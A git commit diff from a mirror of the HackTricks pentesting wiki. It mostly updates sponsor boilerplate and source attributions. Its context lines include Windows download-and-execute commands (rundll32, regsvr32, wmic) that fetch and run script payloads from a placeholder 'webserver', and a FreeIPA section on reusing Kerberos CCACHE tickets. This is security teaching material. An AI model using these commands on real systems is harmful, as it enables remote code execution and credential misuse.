mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
a
This commit is contained in:
parent
7cc077db55
commit
a01ea62620
45 changed files with 523 additions and 3832 deletions
|
@ -485,10 +485,6 @@
|
|||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
* [Oracle Pentesting requirements installation](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
* [TNS Poison](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md)
|
||||
* [Remote stealth pass brute force](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md)
|
||||
* [Oracle RCE & more](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md)
|
||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||
|
|
|
@ -11,7 +11,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -265,7 +265,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -244,7 +244,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -128,7 +128,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -97,7 +97,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -11,7 +11,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -242,7 +242,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -268,7 +268,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -57,7 +57,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -144,6 +144,8 @@ Payload written on disk: **WebDAV client local cache**
|
|||
|
||||
#### hta example
|
||||
|
||||
[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -159,10 +161,12 @@ Payload written on disk: **WebDAV client local cache**
|
|||
</html>
|
||||
```
|
||||
|
||||
**Extracted from** [**here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
|
||||
|
||||
#### **mshta - sct**
|
||||
|
||||
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -179,7 +183,6 @@ Payload written on disk: **WebDAV client local cache**
|
|||
</scriptlet>
|
||||
```
|
||||
|
||||
**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
|
@ -218,6 +221,8 @@ Payload written on disk: **IE local cache**
|
|||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
```bash
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -233,8 +238,6 @@ Payload written on disk: **IE local cache**
|
|||
</scriptlet>
|
||||
```
|
||||
|
||||
**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
#### **Rundll32 - Metasploit**
|
||||
|
||||
```bash
|
||||
|
@ -274,6 +277,8 @@ Payload written on disk: **WebDAV client local cache**
|
|||
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
|
@ -291,7 +296,7 @@ Payload written on disk: **WebDAV client local cache**
|
|||
</scriptlet>
|
||||
```
|
||||
|
||||
**Extracted from** [**here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
|
||||
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
|
@ -391,7 +396,7 @@ wmic os get /format:"https://webserver/payload.xsl"
|
|||
Process performing network call: **wmic.exe**\
|
||||
Payload written on disk: **IE local cache**
|
||||
|
||||
Example xsl file:
|
||||
Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
|
||||
```
|
||||
<?xml version='1.0'?>
|
||||
|
@ -405,8 +410,6 @@ Example xsl file:
|
|||
</stylesheet>
|
||||
```
|
||||
|
||||
Extracted from [here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)
|
||||
|
||||
**Not detected**
|
||||
|
||||
**You can download & execute very easily a Koadic zombie using the stager wmic**
|
||||
|
|
|
@ -14,121 +14,42 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
This info was taken from the posts:
|
||||
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be](https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be)
|
||||
|
||||
## Basic Information
|
||||
|
||||
It is an open source **alternative** to Microsoft Windows **Active** **Directory**, primarily used as an integrated management solution for **Unix** environments. Similar to Active Directory, FreeIPA implements a full **LDAP directory** infrastructure backed by an MIT **Kerberos** Key Distribution Center. It uses the Dogtag **Certificate System** for CA & RA certificate management, giving it the ability to handle **multi-factor** authentication, including smartcards. SSSD is used to integrate FreeIPA into the standard Unix authentication process.
|
||||
FreeIPA is presented as an open source **alternative** to Microsoft Windows **Active** **Directory** and is utilized primarily in **Unix** environments for integrated management. It features a full **LDAP directory** backed by an MIT **Kerberos** Key Distribution Center, similar to Active Directory. The Dogtag **Certificate System** is employed for managing CA & RA certificates, enabling **multi-factor** authentication capabilities, including smartcards. For integration into the Unix authentication process, SSSD is utilized.
|
||||
|
||||
## Fingerprints
|
||||
|
||||
### Files & Env Vars
|
||||
### Files & Environment Variables
|
||||
|
||||
* **`/etc/krb5.conf`:** The `krb5.conf` file contains the Kerberos client information required to be **enrolled in the domain**. This includes the **locations of KDCs and admin** servers for the Kerberos realms of interest, defaults for the current realm and for Kerberos applications, and mappings of hostnames onto Kerberos realms.
|
||||
* **`/etc/ipa/default.conf`:** This is the **default configuration file for IPA servers**, it is used to set system-wide defaults to be applied when running IPA clients and servers.
|
||||
* **`/etc/krb5.keytab`:** The `krb5.keytab` file is **required** on all hosts inside of the **domain**. It is required as part of the **authentication** process to the KDC.
|
||||
* **`KRB5CCNAME`:** If set, this variable points to the **location of the CCACHE Ticket** to be used for authentication.
|
||||
* **`KRB5_KTNAME`:** If set, this variable points to the **location** of the **Keytab** file to be used for authentication.
|
||||
* **`KRB5_CONFIG`:** If set, this variable points to the **location** of the **Kerberos configuration** file.
|
||||
* **`KRB5_KDC_PROFILE`:** If set, this variable points to the **location of the KDC configuration** file, which contains additional configuration directives for the Key Distribution Center daemon.
|
||||
* **`KRB5RCACHETYPE`:** This variable specifies the **default type of replay cache** to use for servers.
|
||||
* **`KRB5RCACHEDIR`:** This variable specifies the **default directory for replay caches** used by servers.
|
||||
* **`KRB5_TRACE`:** This variable specifies a **filename to write trace log output to**. Trace logs can help illuminate decisions made internally by the Kerberos libraries.
|
||||
* **`KRB5_CLIENT_KTNAME`:** This variable sets the **default client keytab** file name.
|
||||
* **`KPROP_PORT`:** This variable sets the **default port for kprop** to use.
|
||||
- The file at `/etc/krb5.conf` is where Kerberos client information, necessary for enrollment in the domain, is stored. This includes KDCs and admin servers' locations, default settings, and mappings.
|
||||
- System-wide defaults for IPA clients and servers are set in the file located at `/etc/ipa/default.conf`.
|
||||
- Hosts within the domain must have a `krb5.keytab` file at `/etc/krb5.keytab` for authentication processes.
|
||||
- Various environment variables (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) are used to point to specific files and settings relevant to Kerberos authentication.
|
||||
|
||||
### Binaries
|
||||
|
||||
* **ipa:** This binary is the standard for **managing a FreeIPA domain**. It can be used to manage hosts, users, sudo rules, and much more.
|
||||
* **kdestroy:** The kdestroy binary is used to **destroy** any current **Kerberos** **tickets** in the users session.
|
||||
* **kinit:** The kinit binary is used to **establish**, or **renew** **Kerberos tickets**.
|
||||
* **klist:** The klist binary **lists** any current **Kerberos tickets in use**, and which principals the tickets provide access to.
|
||||
* **kpasswd:** The kpasswd command is used to **change a Kerberos principal’s password**. kpasswd first prompts for the current Kerberos password, then prompts the user twice for the new password, and the password is changed.
|
||||
* **ksu:** Ksu can be used as an **alternative to the su binary**, to switch the current **user context**.
|
||||
* **kswitch:** The kswitch command will **switch** the current **credential cache in use**.
|
||||
* **kvno:** The kvno binary acquires a **service ticket** for the **specified Kerberos** principals and prints out the key version numbers of each.
|
||||
Tools such as `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, and `kvno` are central to managing FreeIPA domains, handling Kerberos tickets, changing passwords, and acquiring service tickets, among other functionalities.
|
||||
|
||||
### Network
|
||||
|
||||
This is how a FreeIPA server might look like:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
An illustration is provided to depict a typical FreeIPA server setup.
|
||||
|
||||
## Authentication
|
||||
|
||||
Since FreeIPA uses **Kerberos for authentication**, this process is very similar to **authentication** in **Active Directory**. In order to **access** resources on the domain, a user must have a v**alid Kerberos ticket** for that resource. These tickets can be stored in a number of different locations based on the configuration of the FreeIPA domain.
|
||||
Authentication in FreeIPA, leveraging **Kerberos**, mirrors that in **Active Directory**. Access to domain resources necessitates a valid Kerberos ticket, which can be stored in various locations depending on FreeIPA domain configuration.
|
||||
|
||||
### **CCACHE Ticket Files**
|
||||
|
||||
When tickets are set to be **stored** as a **file** on **disk**, the standard format and type is a **CCACHE** file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in **`/tmp`** and scoped with **600** permissions. From an attackers perspective this is important for the following reasons:
|
||||
|
||||
1. Valid tickets can be **utilized to authenticate**, **without** the need of the respective users plaintext **password**.
|
||||
2. **CCACHE** tickets are highly **portable**. They can be downloaded and loaded onto another host without the need to renew, or validate the ticket.
|
||||
|
||||
**Parsing** a CCACHE Ticket is easily accomplished a number of different ways. The simplest method is parsing it with the klist binary.
|
||||
|
||||
```
|
||||
klist /tmp/krb5cc_0
|
||||
```
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (70).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
For an attacker re-using a CCACHE Ticket is very easy. To **re-use** a valid CCACHE Ticket, **export** **KRB5CCNAME** to the **path** of the valid ticket file. The system should recognize the environment variable and will attempt to use that credential material when interacting with the domain.
|
||||
|
||||
```bash
|
||||
export KRB5CCNAME=/tmp/krb5cc_0
|
||||
klist
|
||||
```
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
CCACHE files, stored typically in **`/tmp`** with **600** permissions, are binary formats for storing Kerberos credentials, important for authentication without a user's plaintext password due to their portability. Parsing a CCACHE ticket can be done using the `klist` command, and re-using a valid CCACHE Ticket involves exporting `KRB5CCNAME` to the ticket file's path.
|
||||
|
||||
### **Unix Keyring**
|
||||
|
||||
CCACHE Tickets \*\*\*\* can also be **stored** in \*\*\*\* the Linux **keyring**. The keyring lives inside of the **kernel**, and gives administrators **more control over the retrieval and use of stored tickets**. Tickets can be scoped in the following different ways:
|
||||
Alternatively, CCACHE Tickets can be stored in the Linux keyring, offering more control over ticket management. The scope of ticket storage varies (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), with `klist` capable of parsing this information for the user. However, re-using a CCACHE Ticket from the Unix keyring can pose challenges, with tools like **Tickey** available for extracting Kerberos tickets.
|
||||
|
||||
* **`KEYRING:name`:** Tickets are scoped to a specific named Keyring.
|
||||
* **`KEYRING:process:name`:** Tickets are scoped to a specific process id.
|
||||
* **`KEYRING:thread:name`:** Tickets are scoped to a specific thread.
|
||||
* **`KEYRING:session:name`:** Tickets are scoped to a specific user session.
|
||||
* **`KEYRING:persistent:uidnumber`:** Tickets are scoped to a specific user regardless of session (default).
|
||||
### Keytab
|
||||
|
||||
Depending on how the administrator scoped the ticket stored inside of the Unix keyring, parsing it out may be difficult. However, the **default** **scope** for CCACHE Tickets in the Unix keyring is **`KEYRING:persistent:uidnumber`**. Fortunately if you are in the **context** of the **user**, `klist` can **parse** this information for us.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As an attacker, **re-using a CCACHE** Ticket stored in the Unix **keyring** is fairly **difficult** depending on how the ticket is scoped. Fortunately [@Zer1t0](https://github.com/Zer1t0) from [@Tarlogic](https://twitter.com/Tarlogic) has built a tool that can extract Kerberos tickets from the Unix keyring. The tool is called **Tickey** and can be found [**here**](https://github.com/TarlogicSecurity/tickey).
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (185).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Keytab <a href="#ff38" id="ff38"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
usually, each host is deployed with a keytab credential for that host that can be used to obtain a valid Credential Cache(CCACHE) Ticket Granting Ticket(TGT) for the host itself.
|
||||
{% endhint %}
|
||||
|
||||
It consists of pairs of **Kerberos principals and encrypted keys** that are derived from the Kerberos password associated with the principal. Since these keys are derived from the principal’s password, if that **password changes the keytab will be invalidated**.
|
||||
|
||||
Keytab files can be used to **obtain a valid ticket granting ticket** (TGT) for the principal it is scoped to. This authentication process **does not require the password**, as it contains keys derived from the password.
|
||||
|
||||
